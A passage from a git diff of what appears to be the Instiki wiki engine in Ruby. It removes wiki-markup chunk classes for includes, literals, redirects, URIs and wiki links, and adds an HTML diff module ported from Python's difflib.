-                            :title => @content.options[:engine_opts][:title]})
-        @content.options[:renderer].s5_theme = my_content.s5_theme
-        my_content.to_s5
-      else
-        html = Maruku.new(text,
-             {:math_enabled => true,
-              :math_numbered => ['\\[','\\begin{equation}'],
-              :html_math_output_mathml => false,
-              :html_math_output_png => true,
-              :html_png_engine => 'blahtex',
-              :html_png_dir => @content.web.files_path.join('pngs').to_s,
-              :html_png_url => @content.options[:png_url]}).to_html
-        html.gsub(/\A<div class="maruku_wrapper_div">\n?(.*?)\n?<\/div>\Z/m, '\1')
-      end
-    end
-  end
-
-  class Mixed < AbstractEngine
-    def mask
-      @content.as_utf8
-      redcloth = OldRedCloth.new(@content.to_str, @content.options[:engine_opts])
-      redcloth.filter_html = false
-      redcloth.no_span_caps = false
-      html = redcloth.to_html
-    end
-  end
-
-  class RDoc < AbstractEngine
-    def mask
-      html = RDocSupport::RDocFormatter.new(@content.as_utf8.to_str).to_html
-    end
-  end
-
-  MAP = { :textile => Textile, :markdown => Markdown, :markdownMML => MarkdownMML, :markdownPNG => MarkdownPNG, :mixed => Mixed, :rdoc => RDoc }
-  MAP.default = MarkdownMML
-end
diff --git a/lib/chunks/include.rb b/lib/chunks/include.rb
deleted file mode 100644
index 18470260..00000000
--- a/lib/chunks/include.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'chunks/wiki'
-
-# Includes the contents of another page for rendering.
-# The include command looks like this: "[[!include PageName]]".
-# It is a WikiReference since it refers to another page (PageName)
-# and the wiki content using this command must be notified
-# of changes to that page.
-# If the included page could not be found, a warning is displayed.
-
-class Include < WikiChunk::WikiReference
-
-  INCLUDE_PATTERN = /\[\[!include\s+([^\]\s][^\]]*?)\s*\]\]/i
-  def self.pattern() INCLUDE_PATTERN end
-
-  def initialize(match_data, content)
-    super
-    @page_name = match_data[1].strip
-    rendering_mode = content.options[:mode] || :show
-    add_to_include_list
-    @unmask_text = get_unmask_text_avoiding_recursion_loops(rendering_mode)
-  end
-
-  private
-  
-  def get_unmask_text_avoiding_recursion_loops(rendering_mode)
-    if refpage
-      return "<em>Recursive include detected: #{@content.page_name} " +
-          "&#x2192; #{@content.page_name}</em>\n" if self_inclusion(refpage)
-      renderer = PageRenderer.new(refpage.current_revision)
-      included_content =
-        case rendering_mode
-          when :show then renderer.display_content
-          when :publish then renderer.display_published
-          when :export then renderer.display_content_for_export
-          when :s5 then renderer.display_s5
-        else
-          raise "Unsupported rendering mode #{@mode.inspect}"
-        end
-      # redirects and categories of included pages should not be inherited
-      @content.merge_chunks(included_content.delete_chunks!([Redirect, Category]))
-      clear_include_list
-      return included_content.pre_rendered
-    else
-      clear_include_list
-      return "<em>Could not include #{@page_name}</em>\n"
-    end
-  end
-  
-  # We track included pages in a thread-local variable.
-  # This allows a multi-threaded Rails to handle multiple
-  #   simultaneous requests (one request/thread), without
-  #   getting confused.
-  
-  def add_to_include_list
-    Thread.current[:chunk_included_by] ?
-      Thread.current[:chunk_included_by].push(@content.page_name) :
-      Thread.current[:chunk_included_by] = [@content.page_name]
-  end
-
-  def clear_include_list
-    Thread.current[:chunk_included_by] = []  
-  end
-    
-  def self_inclusion(refpage)
-    if Thread.current[:chunk_included_by].include?(refpage.page.name)
-      @content.delete_chunk(self)
-      clear_include_list
-    else
-      return false
-    end
-  end
-
-end
diff --git a/lib/chunks/literal.rb b/lib/chunks/literal.rb
deleted file mode 100644
index 9602f2ad..00000000
--- a/lib/chunks/literal.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'chunks/chunk'
-
-# These are basic chunks that have a pattern and can be protected.
-# They are used by rendering process to prevent wiki rendering
-# occuring within literal areas such as <code> and <pre> blocks
-# and within HTML tags.
-module Literal
-
-  class AbstractLiteral < Chunk::Abstract
-
-    def initialize(match_data, content)
-      super
-      @unmask_text = @text
-    end
-
-  end
-
-  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
-  class Pre < AbstractLiteral
-    PRE_BLOCKS = "a|pre|code|math"
-    PRE_PATTERN = Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?(>.*?</\1>|/>)', Regexp::MULTILINE)
-    def self.pattern() PRE_PATTERN end
-  end 
-
-  # A literal chunk that protects HTML tags from wiki rendering.
-  class Tags < AbstractLiteral
-    TAGS_PATTERN = Regexp.new('</?[-a-zA-Z:]+\b[^>]*?>', Regexp::MULTILINE) 
-    def self.pattern() TAGS_PATTERN  end
-  end
-
-  # A literal chunk that protects equations from wiki rendering.
-  class Math < AbstractLiteral
-    MATH_START = "(?:\\\\\\[|\\${1,2}|\\\\begin\\{equation\\})"
-    MATH_END   = "(?:\\\\\\]|\\${1,2}|\\\\end\\{equation\\})"
-    MATH_PATTERN = Regexp.new( '(' + MATH_START + "(?:\\\\\\$|(?!\\$|\\\\\\]|\\\\end\\{equation\\}).)+?" + MATH_END + ')', Regexp::MULTILINE)
-    def self.pattern() MATH_PATTERN  end
-  end
-
-end
diff --git a/lib/chunks/redirect.rb b/lib/chunks/redirect.rb
deleted file mode 100644
index f2b58f82..00000000
--- a/lib/chunks/redirect.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'chunks/wiki'
-
-#      [[!redirects Foo]]
-# redirects Wikilinks for the (nonexistent) page "Foo" to this page.
-# If "Foo" exists, then the Redirect has no effect. But if "Foo"
-# does not exist, then a Wikilink [[Foo]] will produce a link to this
-# page, rather than produce a create-a-new-page link. 
-
-class Redirect < WikiChunk::WikiReference
-
-  REDIRECT_PATTERN = /\[\[!redirects\s+([^\]\s][^\]]*?)\s*\]\]/i
-  def self.pattern() REDIRECT_PATTERN end
-
-  def initialize(match_data, content)
-      super
-      @page_name = match_data[1].strip
-      @link_type = :redirect
-      @unmask_text = ''
-  end
-
-end
diff --git a/lib/chunks/test.rb b/lib/chunks/test.rb
deleted file mode 100644
index 73af8142..00000000
--- a/lib/chunks/test.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'test/unit'
-
-class ChunkTest < Test::Unit::TestCase
-
-  # Asserts a number of tests for the given type and text.
-  def match(type, test_text, expected)
-    pattern = type.pattern
-    assert_match(pattern, test_text)
-    pattern =~ test_text   # Previous assertion guarantees match
-    chunk = type.new($~)
-    
-    # Test if requested parts are correct.
-    for method_sym, value in expected do
-      assert_respond_to(chunk, method_sym)
-      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
-    end
-  end
-end
diff --git a/lib/chunks/uri.rb b/lib/chunks/uri.rb
deleted file mode 100644
index 42fdb0dc..00000000
--- a/lib/chunks/uri.rb
+++ /dev/null
@@ -1,184 +0,0 @@
-require 'chunks/chunk'
-
-# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
-# It parses out a variety of fields that could be used by renderers to format
-# the links in various ways (shortening domain names, hiding email addresses)
-# It matches email addresses and host.com.au domains without schemes (http://)
-# but adds these on as required.
-#
-# The heuristic used to match a URI is designed to err on the side of caution.
-# That is, it is more likely to not autolink a URI than it is to accidently
-# autolink something that is not a URI. The reason behind this is it is easier
-# to force a URI link by prefixing 'http://' to it than it is to escape and
-# incorrectly marked up non-URI.
-#
-# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
-# The generic names are from www.bnoack.com/data/countrycode2.html)
-#   [iso3166]: http://geotags.com/iso3166/
-
-class URIChunk < Chunk::Abstract
-  include URI::REGEXP::PATTERN
-
-  # this condition is to get rid of pesky warnings in tests
-  unless defined? URIChunk::INTERNET_URI_REGEXP
-
-    GENERIC = 'aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org'
-    
-    COUNTRY = 'ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|' + 
-      'bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cf|cd|cg|ch|ci|ck|cl|' + 
-      'cm|cn|co|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|fi|' + 
-      'fj|fk|fm|fo|fr|fx|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|' + 
-      'hk|hm|hn|hr|ht|hu|id|ie|il|in|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|' + 
-      'kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|' + 
-      'mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nt|' + 
-      'nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|' + 
-      'sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|' + 
-      'tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|' + 
-      'ws|ye|yt|yu|za|zm|zr|zw'
-    # These are needed otherwise HOST will match almost anything
-    TLDS = "(?:#{GENERIC}|#{COUNTRY})"
-    
-    # Redefine USERINFO so that it must have non-zero length
-    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
-  
-    # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded
-    UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}"  
-
-    # this ensures that query or fragment do not end with URI_ENDING
-    # and enable us to use a much simpler self.pattern Regexp
-
-    # uric_no_ending = reserved | unreserved_no_ending | escaped
-    URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})"
-    # query = *uric
-    QUERY = "#{URIC_NO_ENDING}*"
-    # fragment = *uric
-    FRAGMENT = "#{URIC_NO_ENDING}*"
-
-    # DOMLABEL is defined in the ruby uri library, TLDS is defined above
-    INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" 
-
-    # Correct a typo bug in ruby 1.8.x lib/uri/common.rb 
-    PORT = '\\d*'
-
-    INTERNET_URI =
-        "(?:(#{SCHEME}):/{0,2})?" +   # Optional scheme:        (\1)
-        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
-        "(#{INTERNET_HOSTNAME})" +    # Mandatory hostname      (\3)
-        "(?::(#{PORT}))?" +           # Optional :port          (\4)
-        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
-        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
-        "(?:\\#(#{FRAGMENT}))?"  +    # Optional #fragment      (\7)
-        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
-                                      # or end of the string
-
-    SUSPICIOUS_PRECEDING_CHARACTER = '(!|\"\:|\"|\\\'|\]\()?'  # any of !, ":, ", ', ](
-  
-    INTERNET_URI_REGEXP = 
-#        Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + INTERNET_URI, Regexp::EXTENDED, 'N')
-        Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + INTERNET_URI, Regexp::EXTENDED)
-
-  end
-
-  def URIChunk.pattern
-    INTERNET_URI_REGEXP
-  end
-
-  attr_reader :user, :host, :port, :path, :query, :fragment, :link_text
-  
-  def self.apply_to(content)
-    content.gsub!( self.pattern ) do |matched_text|
-      chunk = self.new($~, content)
-      if chunk.avoid_autolinking?
-        # do not substitute nor register the chunk
-        matched_text
-      else
-        content.add_chunk(chunk)
-        chunk.mask
-      end
-    end
-  end
-
-  def initialize(match_data, content)
-    super
-    @link_text = match_data[0]
-    @suspicious_preceding_character = match_data[1]
-    @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[2..-1]
-    treat_trailing_character
-    @unmask_text = "<a href=\"#{uri}\">#{link_text}</a>"
-  end
-
-  def avoid_autolinking?
-    not @suspicious_preceding_character.nil?
-  end
-
-  def treat_trailing_character
-    # If the last character matched by URI pattern is in ! or ), this may be part of the markup,
-    # not a URL. We should handle it as such. It is possible to do it by a regexp, but 
-    # much easier to do programmatically
-    last_char = @link_text[-1..-1]
-    if last_char == ')' or last_char == '!'
-      @trailing_punctuation = last_char
-      @link_text.chop!
-      [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop!
-    else 
-      @trailing_punctuation = nil
-    end
-  end
-
-  def scheme
-    @original_scheme or (@user ? 'mailto' : 'http')
-  end
-
-  def scheme_delimiter
-    scheme == 'mailto' ? ':' : '://'
-  end
-
-  def user_delimiter
-     '@' unless @user.nil?
-  end
-
-  def port_delimiter
-     ':' unless @port.nil?
-  end
-
-  def query_delimiter
-     '?' unless @query.nil?
-  end
-
-  def uri
-    [scheme, scheme_delimiter, user, user_delimiter, host, port_delimiter, port, path, 
-      query_delimiter, query].compact.join
-  end
-
-end
-
-# uri with mandatory scheme but less restrictive hostname, like
-# http://localhost:2500/blah.html
-class LocalURIChunk < URIChunk
-
-  unless defined? LocalURIChunk::LOCAL_URI_REGEXP
-    # hostname can be just a simple word like 'localhost'
-    ANY_HOSTNAME = "(?:#{DOMLABEL}\\.)*#{TOPLABEL}\\.?"
-    
-    # The basic URI expression as a string
-    # Scheme and hostname are mandatory
-    LOCAL_URI =
-        "(?:(#{SCHEME})://)+" +       # Mandatory scheme://     (\1)
-        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
-        "(#{ANY_HOSTNAME})" +         # Mandatory hostname      (\3)
-        "(?::(#{PORT}))?" +           # Optional :port          (\4)
-        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
-        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
-        "(?:\\#(#{FRAGMENT}))?" +     # Optional #fragment      (\7)
-        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
-                                      # or end of the string
-  
-#    LOCAL_URI_REGEXP = Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + LOCAL_URI, Regexp::EXTENDED, 'N')
-    LOCAL_URI_REGEXP = Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + LOCAL_URI, Regexp::EXTENDED)
-  end
-
-  def LocalURIChunk.pattern
-    LOCAL_URI_REGEXP
-  end
-
-end
diff --git a/lib/chunks/wiki.rb b/lib/chunks/wiki.rb
deleted file mode 100644
index 1f76b8a6..00000000
--- a/lib/chunks/wiki.rb
+++ /dev/null
@@ -1,166 +0,0 @@
-require 'chunks/chunk'
-require 'instiki_stringsupport'
-
-# Contains all the methods for finding and replacing wiki related links.
-module WikiChunk
-  include Chunk
-
-  # A wiki reference is the top-level class for anything that refers to
-  # another wiki page.
-  class WikiReference < Chunk::Abstract
-
-    # Name of the referenced page
-    attr_reader :page_name
-
-    # Name of the referenced page
-    attr_reader :web_name
-
-    # the referenced page
-    def refpage
-      @content.web.page(@page_name)
-    end
-
-  end
-
-  # A wiki link is the top-level class for links that refers to
-  # another wiki page.
-  class WikiLink < WikiReference
-
-    attr_reader :link_text, :link_type
-
-    def initialize(match_data, content)
-      super
-      @link_type = :show
-    end
-
-    def self.apply_to(content)
-      text = content.as_utf8.to_str
-      text.gsub!( self.pattern ) do |matched_text|
-        chunk = self.new($~, content)
-        if chunk.textile_url?
-          # do not substitute
-          matched_text
-        else
-          content.add_chunk(chunk)
-          chunk.mask
-        end
-      end
-      content.replace text
-    end
-
-    def textile_url?
-      not @textile_link_suffix.nil?
-    end
-
-    def interweb_link?
-      not @web_name.nil? and Web.find_by_name(@web_name) or
-        Web.find_by_address(@web_name)
-    end
-
-    # replace any sequence of whitespace characters with a single space
-    def normalize_whitespace(line)
-      line.gsub(/\s+/, ' ')
-    end
-
-  end
-
-  # This chunk matches a WikiWord. WikiWords can be escaped
-  # by prepending a '\'. When this is the case, the +escaped_text+
-  # method will return the WikiWord instead of the usual +nil+.
-  # The +page_name+ method returns the matched WikiWord.
-  class Word < WikiLink
-
-    attr_reader :escaped_text
-
-    unless defined? WIKI_WORD
-      WIKI_WORD = ''.respond_to?(:force_encoding) ? 
-            Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0) :
-            Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, 'u')
-    end
-
-    def self.pattern
-      WIKI_WORD
-    end
-
-    def initialize(match_data, content)
-      super
-      @textile_link_suffix, @escape, @page_name = match_data[1..3]
-      if @escape
-        @unmask_mode = :escape
-        @escaped_text = @page_name
-      else
-        @escaped_text = nil
-      end
-      @link_text = WikiWords.separate(@page_name)
-      @unmask_text = (@escaped_text || @content.page_link(@web_name, @page_name, @link_text, @link_type))
-    end
-
-  end
-
-  # This chunk handles [[bracketted wiki words]] and
-  # [[AliasedWords|aliased wiki words]]. The first part of an
-  # aliased wiki word must be a WikiWord. If the WikiWord
-  # is aliased, the +link_text+ field will contain the
-  # alias, otherwise +link_text+ will contain the entire
-  # contents within the double brackets.
-  #
-  # NOTE: This chunk must be tested before WikiWord since
-  #       a WikiWords can be a substring of a WikiLink.
-  class Link < WikiLink
-
-    unless defined? WIKI_LINK
-      WIKI_LINK = /(":)?\[\[\s*([^\]\s][^\]]*?)\s*\]\]/
-      LINK_TYPE_SEPARATION = Regexp.new('^(.+):((file)|(pic)|(video)|(audio)|(delete))$', 0)
-      ALIAS_SEPARATION = Regexp.new('^(.+)\|(.+)$', 0)
-      WEB_SEPARATION = Regexp.new('^(.+):(.+)$', 0)
-    end
-
-    def self.pattern() WIKI_LINK end
-
-    def initialize(match_data, content)
-      super
-      @textile_link_suffix = match_data[1]
-      @link_text = @page_name = normalize_whitespace(match_data[2])
-      separate_link_type
-      separate_alias
-      separate_web
-      @unmask_text = @content.page_link(@web_name, @page_name, @link_text, @link_type)
-    end
-
-    private
-
-    # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]],
-    # this means a link to a picture or a file
-    def separate_link_type
-      link_type_match = LINK_TYPE_SEPARATION.match(@page_name)
-      if link_type_match
-        @link_text = @page_name = link_type_match[1]
-        @link_type = link_type_match[2..3].compact[0].to_sym
-      end
-    end
-
-    # link text may be different from page name. this will look like [[actual page|link text]]
-    def separate_alias
-      alias_match = ALIAS_SEPARATION.match(@page_name)
-      if alias_match
-        @page_name = normalize_whitespace(alias_match[1])
-        @link_text = alias_match[2]
-      end
-      # note that [[filename|link text:file]] is also supported
-    end
-
-    # Interweb links have the form [[Web Name:Page Name]] or
-    # [[address:PageName]]. Alternate text links of the form
-    # [[address:PageName|Other text]] are also supported.
-    def separate_web
-      web_match = WEB_SEPARATION.match(@page_name)
-      if web_match
-        @web_name = normalize_whitespace(web_match[1])
-        @page_name = web_match[2]
-        @link_text = @page_name if @link_text == web_match[0]
-      end
-    end
-
-  end
-
-end
diff --git a/lib/diff.rb b/lib/diff.rb
new file mode 100644
index 00000000..45c4ee63
--- /dev/null
+++ b/lib/diff.rb
@@ -0,0 +1,444 @@
+# heavily based off difflib.py - see that file for documentation
+# ported from Python by Bill Atkins
+
+# This does not support all features offered by difflib; it 
+# implements only the subset of features necessary
+# to support a Ruby version of HTML Differ.  You're welcome to finish this off.
+
+# By default, String#each iterates by line.  This isn't really appropriate
+# for diff, so often a string will be split by // to get an array of one-
+# character strings.
+
+# Some methods in Diff are untested and are not guaranteed to work.  The
+# methods in HTMLDiff and any methods it calls should work quite well.
+
+# changes by DenisMertz
+# * main change:
+# ** get the tag soup away
+#    the tag soup problem was first reported with <p> tags, but it appeared also with
+#    <li>, <ul> etc... tags 
+#   this version should mostly fix these problems
+# ** added a Builder class to manage the creation of the final htmldiff
+# * minor changes:
+# ** use symbols instead of string to represent opcodes 
+# ** small fix to html2list
+#
+
+module Enumerable
+  def reduce(init)
+    result = init
+    each { |item| result = yield(result, item) }
+    result
+  end
+end
+
+module Diff
+
+  class SequenceMatcher
+    def initialize(a=[''], b=[''], isjunk=nil, byline=false)
+      a = (!byline and a.kind_of? String) ? a.split(//) : a
+      b = (!byline and b.kind_of? String) ? b.split(//) : b
+      @isjunk = isjunk || proc {}
+      set_seqs a, b
+    end
+
+    def set_seqs(a, b)
+      set_seq_a a
+      set_seq_b b
+    end
+
+    def set_seq_a(a)
+      @a = a
+      @matching_blocks = @opcodes = nil
+    end
+
+    def set_seq_b(b)
+      @b = b
+      @matching_blocks = @opcodes = nil
+      chain_b
+    end
+
+    def chain_b
+      @fullbcount = nil
+      @b2j = {}
+      pophash = {}
+      junkdict = {}
+      
+      @b.each_with_index do |elt, i|
+        if @b2j.has_key? elt
+          indices = @b2j[elt]
+          if @b.length >= 200 and indices.length * 100 > @b.length
+            pophash[elt] = 1
+            indices.clear
+          else
+            indices.push i
+          end
+        else
+          @b2j[elt] = [i]
+        end
+      end
+        
+      pophash.each_key { |elt| @b2j.delete elt }
+      
+      junkdict = {}
+        
+      unless @isjunk.nil?
+        [pophash, @b2j].each do |d|
+          d.each_key do |elt|
+            if @isjunk.call(elt)
+              junkdict[elt] = 1
+              d.delete elt
+            end
+          end
+        end
+      end
+      
+      @isbjunk = junkdict.method(:has_key?)
+      @isbpopular = junkdict.method(:has_key?)
+    end
+    
+    def find_longest_match(alo, ahi, blo, bhi)
+      besti, bestj, bestsize = alo, blo, 0
+      
+      j2len = {}
+      
+      (alo..ahi).step do |i|
+        newj2len = {}
+        (@b2j[@a[i]] || []).each do |j|
+          if j < blo
+            next
+          end
+          if j >= bhi
+            break
+          end
+          
+          k = newj2len[j] = (j2len[j - 1] || 0) + 1
+          if k > bestsize
+            besti, bestj, bestsize = i - k + 1, j - k + 1, k
+          end
+        end
+        j2len = newj2len
+      end
+      
+      while besti > alo and bestj > blo and
+          not @isbjunk.call(@b[bestj-1]) and
+          @a[besti-1] == @b[bestj-1]
+        besti, bestj, bestsize = besti-1, bestj-1, bestsize+1
+      end
+      
+      while besti+bestsize < ahi and bestj+bestsize < bhi and
+          not @isbjunk.call(@b[bestj+bestsize]) and
+          @a[besti+bestsize] == @b[bestj+bestsize]
+        bestsize += 1
+      end
+      
+      while besti > alo and bestj > blo and
+          @isbjunk.call(@b[bestj-1]) and
+          @a[besti-1] == @b[bestj-1]
+        besti, bestj, bestsize = besti-1, bestj-1, bestsize+1
+      end
+      
+      while besti+bestsize < ahi and bestj+bestsize < bhi and
+          @isbjunk.call(@b[bestj+bestsize]) and
+          @a[besti+bestsize] == @b[bestj+bestsize]
+        bestsize += 1
+      end
+      
+      [besti, bestj, bestsize]
+    end
+    
+    def get_matching_blocks
+      return @matching_blocks unless @matching_blocks.nil? or 
+        @matching_blocks.empty?
+      
+      @matching_blocks = []
+      la, lb = @a.length, @b.length
+      match_block_helper(0, la, 0, lb, @matching_blocks)
+      @matching_blocks.push [la, lb, 0]
+    end
+    
+    def match_block_helper(alo, ahi, blo, bhi, answer)
+      i, j, k = x = find_longest_match(alo, ahi, blo, bhi)
+      if not k.zero?
+        if alo < i and blo < j
+          match_block_helper(alo, i, blo, j, answer)
+        end
+        answer.push x
+        if i + k < ahi and j + k < bhi
+          match_block_helper(i + k, ahi, j + k, bhi, answer)
+        end
+      end
+    end
+    
+    def get_opcodes
+      unless @opcodes.nil? or @opcodes.empty?
+        return @opcodes
+      end
+
+      i = j = 0
+      @opcodes = answer = []
+      get_matching_blocks.each do |ai, bj, size|
+        tag = if i < ai and j < bj
+                :replace
+              elsif i < ai
+                :delete
+              elsif j < bj 
+                :insert
+              end
+
+        answer.push [tag, i, ai, j, bj] if tag
+        
+        i, j = ai + size, bj + size
+        
+        answer.push [:equal, ai, i, bj, j] unless size.zero?
+        
+      end
+      return answer
+    end
+
+    # XXX: untested
+    def get_grouped_opcodes(n=3)
+      codes = get_opcodes
+      if codes[0][0] == :equal
+        tag, i1, i2, j1, j2 = codes[0]
+        codes[0] = tag, [i1, i2 - n].max, i2, [j1, j2-n].max, j2
+      end
+      
+      if codes[-1][0] == :equal
+        tag, i1, i2, j1, j2 = codes[-1]
+        codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n)
+      end
+      nn = n + n
+      group = []
+      codes.each do |tag, i1, i2, j1, j2|
+        if tag == :equal and i2-i1 > nn
+          group.push [tag, i1, [i2, i1 + n].min, j1, [j2, j1 + n].min]
+          yield group
+          group = []
+          i1, j1 = [i1, i2-n].max, [j1, j2-n].max
+          group.push [tag, i1, i2, j1 ,j2]
+        end
+      end
+      if group and group.length != 1 and group[0][0] == :equal
+        yield group
+      end
+    end
+
+    def ratio
+      matches = get_matching_blocks.reduce(0) do |sum, triple|
+        sum + triple[-1]
+      end
+      Diff.calculate_ratio(matches, @a.length + @b.length)
+    end
+
+    def quick_ratio
+      if @fullbcount.nil? or @fullbcount.empty?
+        @fullbcount = {}
+        @b.each do |elt|
+          @fullbcount[elt] = (@fullbcount[elt] || 0) + 1
+        end
+      end
+      
+      avail = {}
+      matches = 0
+      @a.each do |elt|
+        if avail.has_key? elt
+          numb = avail[elt]
+        else
+          numb = @fullbcount[elt] || 0
+        end
+        avail[elt] = numb - 1
+        if numb > 0
+          matches += 1
+        end
+      end
+      Diff.calculate_ratio matches, @a.length + @b.length
+    end
+
+    def real_quick_ratio
+      la, lb = @a.length, @b.length
+      Diff.calculate_ratio([la, lb].min, la + lb)
+    end
+
+    protected :chain_b, :match_block_helper
+  end # end class SequenceMatcher
+
+  def self.calculate_ratio(matches, length)
+    return 1.0 if length.zero?
+    2.0 * matches / length
+  end
+
+  # XXX: untested
+  def self.get_close_matches(word, possibilities, n=3, cutoff=0.6)
+    unless n > 0
+      raise "n must be > 0: #{n}"
+    end
+    unless 0.0 <= cutoff and cutoff <= 1.0
+      raise "cutoff must be in (0.0..1.0): #{cutoff}"
+    end
+
+    result = []
+    s = SequenceMatcher.new
+    s.set_seq_b word
+    possibilities.each do |x|
+      s.set_seq_a x
+      if s.real_quick_ratio >= cutoff and
+          s.quick_ratio >= cutoff and
+          s.ratio >= cutoff
+        result.push [s.ratio, x]
+      end
+    end
+    
+    unless result.nil? or result.empty?
+      result.sort
+      result.reverse!
+      result = result[-n..-1]
+    end
+    result.collect { |score, x| x }
+  end
+
+  def self.count_leading(line, ch)
+    i, n = 0, line.length
+    while i < n and line[i].chr == ch
+      i += 1
+    end
+    i
+  end
+end
+
+
+module HTMLDiff
+  include Diff
+  class Builder
+    VALID_METHODS = [:replace, :insert, :delete, :equal]
+    def initialize(a, b)
+      @a = a
+      @b = b
+      @content = []
+    end
+
+    def do_op(opcode)
+      @opcode = opcode
+      op = @opcode[0]
+      VALID_METHODS.include?(op) or raise(NameError, "Invalid opcode #{op}")
+      self.method(op).call
+    end
+
+    def result
+      @content.join('')
+    end
+
+    #this methods have to be called via do_op(opcode) so that @opcode is set properly
+    private
+
+    def replace
+      delete("diffmod")
+      insert("diffmod")
+    end
+    
+    def insert(tagclass="diffins")
+      op_helper("ins", tagclass, @b[@opcode[3]...@opcode[4]])
+    end
+    
+    def delete(tagclass="diffdel")
+       op_helper("del", tagclass, @a[@opcode[1]...@opcode[2]])
+    end
+    
+    def equal
+      @content += @b[@opcode[3]...@opcode[4]]
+    end
+  
+    # using this as op_helper would be equivalent to the first version of diff.rb by Bill Atkins
+    def op_helper_simple(tagname, tagclass, to_add)
+      @content << "<#{tagname} class=\"#{tagclass}\">" 
+      @content += to_add
+      @content << "</#{tagname}>"
+    end
+    
+    # this tries to put <p> tags or newline chars before the opening diff tags (<ins> or <del>)
+    # or after the ending diff tags
+    # as a result the diff tags should be the "more inside" possible.
+    # this seems to work nice with html containing only paragraphs
+    # but not sure it works if there are other tags (div, span ... ? ) around
+    def op_helper(tagname, tagclass, to_add)
+      @content << to_add.shift while ( HTMLDiff.is_newline(to_add.first) or 
+                                         HTMLDiff.is_p_close_tag(to_add.first) or
+                                         HTMLDiff.is_p_open_tag(to_add.first) )
+      @content << "<#{tagname} class=\"#{tagclass}\">" 
+      @content += to_add
+      last_tags = []
+      last_tags.unshift(@content.pop) while ( HTMLDiff.is_newline(@content.last) or 
+                                         HTMLDiff.is_p_close_tag(@content.last) or
+                                         HTMLDiff.is_p_open_tag(@content.last) )
+      last_tags.unshift "</#{tagname}>"
+      @content += last_tags
+      remove_empty_diff(tagname, tagclass)
+    end
+
+    def remove_empty_diff(tagname, tagclass)
+      if @content[-2] == "<#{tagname} class=\"#{tagclass}\">" and @content[-1] == "</#{tagname}>" then
+        @content.pop
+        @content.pop
+      end
+    end
+
+  end
+  
+  def self.is_newline(x)
+    (x == "\n") or (x == "\r") or (x == "\t")
+  end
+
+  def self.is_p_open_tag(x)
+    x =~ /\A<(p|li|ul|ol|dir|dt|dl)/
+  end
+
+  def self.is_p_close_tag(x)
+    x =~ %r!\A</(p|li|ul|ol|dir|dt|dl)!
+  end
+
+  def self.diff(a, b)
+    a = html2list(a)
+    b = html2list(b)
+
+    out = Builder.new(a, b)
+    s = SequenceMatcher.new(a, b)
+
+    s.get_opcodes.each do |opcode|
+      out.do_op(opcode)
+    end
+
+    out.result 
+  end
+  
+  def self.html2list(x)
+    mode = :char
+    cur = ''
+    out = []
+    
+    x.split('').each do |c|
+      if mode == :tag
+        cur += c
+        if c == '>'
+          out.push(cur)
+          cur = ''
+          mode = :char
+        end
+      elsif mode == :char
+        if c == '<'
+          out.push cur
+          cur = c
+          mode = :tag
+        elsif c =~ /\s/
+          out.push cur + c
+          cur = ''
+        else
+          cur += c
+        end
+      end
+    end
+
+    out.push cur
+    out.find_all { |x| x != '' }
+  end
+  
+end
diff --git a/lib/instiki_stringsupport.rb b/lib/instiki_stringsupport.rb
deleted file mode 100644
index 0c25bcd3..00000000
--- a/lib/instiki_stringsupport.rb
+++ /dev/null
@@ -1,2372 +0,0 @@
-# Some useful additions to the String class
-
-class String
-
